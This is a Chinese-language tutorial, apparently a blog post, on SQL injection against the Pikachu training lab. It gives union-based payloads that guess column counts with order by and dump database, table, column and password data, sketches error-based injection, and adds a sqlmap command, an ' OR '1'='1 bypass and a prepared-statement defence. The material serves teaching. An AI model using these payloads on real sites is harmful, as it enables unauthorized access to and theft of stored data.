union注入

一、union注入
基于union的信息获取:

union联合查询:可以通过联合查询来查询指定的数据

用法举例:
select username,password from user where id =1 union select 字段1,字段2 from 表名

先登入PHPmyadmin 进入pikachu的数据库中
在这里插入图片描述
在这里插入图片描述

得到此结果 上述为一般查询
在这里插入图片描述

union查询:
在这里插入图片描述
在这里插入图片描述

除了通过遍历查询数据库内容外,还可以通过一下方法查询:
通过select database();来查询数据库的名称
在这里插入图片描述

在这里插入图片描述

通过select user();来查询数据库使用的用户名
在这里插入图片描述
在这里插入图片描述

通过select version();来查询数据库的版本
在这里插入图片描述
在这里插入图片描述
如果想要通过SQL注入可以通过以下方法:
在这里插入图片描述
在这里使用字符型注入来进行演示
由于我们无法知道数据库中有几个字段,所以需要通过猜测来判断字段数
下面可以通过order by来进行猜测
在这里插入图片描述
select id,email from member where username=‘allen’ order by 1; //通过第一列进行排序在这里插入图片描述

select id,email from member where username=‘allen’ order by 2; //通过第二列进行排序
在这里插入图片描述

select id,email from member where username=‘allen’ order by 3; //通过第三列进行排序
在这里插入图片描述
通过order by来进行列的排序 就可以清楚有多少个字段

让我们回到字符型注入

输入a’ order by 5 #后得到的结果 (这里用到了二分法)

在这里插入图片描述
得到下图时 ,就意味着order by 正常执行了 就可以知道有多少个字段了
在这里插入图片描述
接下来就可以进行union查询了

输入 a’ union select database(),user() #

就会显示数据库的名称和所用的用户名了
在这里插入图片描述
输入 a’ union select version(),4 #

就可以获取数据库的版本

由于必须要有两个字段 所以后面一个我们可以随意拼接一下
在这里插入图片描述
通过union查询来获得一下 数据库的基本信息 这就是union联合查询的作用

MySQL的小知识补充:information_schema
在MYSQL中,自带的information——schema 这个表中存放了大量的信息

获取数据库名(行话:爆库):
xxx’union select table_schema,table_name from information_schema.tables where table_schema=‘pikachu’#
1
获取表名(行话:爆表):

xxx’union select table_name,column_name from information_schema.columns where table_name=’users’#
1
获取列(行话:爆字段):

xxx’union select table_name,column_name from information_schema.columns where table_name=’users’#
1
获取密码(行话:爆数据):

xxx’union select username,password from users#

二、

三、基于函数报错的信息获取

常用的报错函数:updatexml() , extractvalue() , floor()

基于函数报错的信息获取(select/insert/update/delete)

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
Select 下报错的利用演示:
在这里插入图片描述

当我们构造一个错误的语法时 会返回报错信息
在这里插入图片描述

在这里插入图片描述
出现了报错
在这里插入图片描述
这里版本被吃掉了 所以需要通过使用concat()来显示
在这里插入图片描述
在这里插入图片描述

用相同的方法获取其他表的名称

数据库名称等:
在这里插入图片描述

在这里插入图片描述
返回的数据大于一行时
在这里插入图片描述
使用如下操作
在这里插入图片描述
获取所有表后再进行如下操作 获取字段
在这里插入图片描述
在这里插入图片描述

### SQL Union 注入技术示例 SQL Union 注入是一种常见的攻击方式,它利用 `UNION` 运算符将恶意查询附加到原始查询上,从而获取额外的数据。以下是实现此技术的一个具体例子: 假设存在一个易受攻击的 Web 应用程序,其 URL 参数如下所示: ``` http://example.com/page.php?id=1 ``` 如果应用程序未正确验证输入,则可以尝试构造以下 SQL 查询来执行 UNION 攻击。 #### 构造 UNION 查询 ```sql SELECT column1 FROM table WHERE id = 1 UNION SELECT password FROM users; ``` 在这个例子中,攻击者试图通过添加 `UNION SELECT` 子句从另一个表(如 `users` 表)检索数据[^1]。为了成功完成这一操作,需满足以下几个条件: - 原始查询和附加查询返回相同数量的列。 - 列的数据类型兼容。 #### 实际案例分析 考虑下面的情况,其中用户名和密码字段注入恶意字符串 `' OR '1'='1`[^3]。这可能导致数据库忽略实际的身份验证逻辑并返回所有记录。然而,在更复杂的场景下,攻击者可能需要进一步探索目标系统的结构。 例如,当面对非标准格式的 URL 输入时,工具如 sqlmap 可能不会自动识别潜在漏洞位置[^4]。此时可以通过手动指定测试点解决该问题。 #### 使用 Sqlmap 自动化检测 Sqlmap 是一款强大的自动化渗透测试工具,能够帮助发现多种类型的 SQL 注入缺陷。对于上述提到的复杂路径情况,命令行选项可设置为: ```bash sqlmap -u "http://www.site.com/class_name/strategy/*/*/80" --risk=3 --level=5 ``` 这里星号标记了希望扫描的具体部分。增加风险级别 (`--risk`) 和深入程度 (`--level`) 能够提高探测效率但同时也增加了误报的可能性。 #### 防范措施实例 为了避免遭受此类攻击,推荐采用预编译语句或者存储过程等方式处理动态构建的 SQL 请求[^2]。比如在 Java 中使用 PreparedStatement 类型对象代替常规 String 拼接方法编写数据库交互代码片段。 ```java String query = "SELECT * FROM Users WHERE username=? AND password=?"; PreparedStatement pstmt = connection.prepareStatement(query); pstmt.setString(1, userInputName); pstmt.setString(2, userInputPassword); ResultSet rs = pstmt.executeQuery(); ``` 这样即使用户提供特殊字符也不会影响最终形成的合法指令串安全性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值